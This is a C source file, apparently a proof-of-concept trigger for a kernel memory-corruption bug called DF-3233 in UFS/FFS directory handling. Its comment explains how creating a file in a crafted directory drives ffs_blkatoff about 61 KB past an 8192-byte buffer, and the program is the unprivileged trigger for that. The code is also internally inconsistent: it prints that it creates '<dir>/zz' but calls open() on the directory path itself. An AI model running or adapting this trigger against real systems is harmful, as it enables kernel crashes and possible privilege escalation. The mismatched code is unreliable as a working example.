/*
 * trigger.c — DF-3233 unprivileged trigger.
 *
 * open(O_CREAT) of a non-existent name in the crafted big directory:
 * lookup finds no slack anywhere except the single crafted free-slot
 * entry at offset SLOT, returns slotstatus==FOUND, and ufs_direnter's
 * i_count!=0 path calls ffs_blkatoff(dvp, SLOT, &dirbuf) which returns
 * bp->b_data + (SLOT & fs_qbmask) — ~61 KB past the 8192-byte buffer.
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	int fd;

	if (argc < 2) {
		fprintf(stderr, "usage: trigger <dir>\n");
		return (2);
	}
	printf("[*] trigger: uid=%d creat %s/zz\n", getuid(), argv[1]);
	fflush(stdout);
	fd = open(argv[1], O_CREAT | O_EXCL | O_WRONLY, 0644);
	if (fd < 0)
		perror("open");
	else {
		write(fd, "x", 1);
		close(fd);
	}
	sync();
	printf("[*] survived\n");
	return (0);
}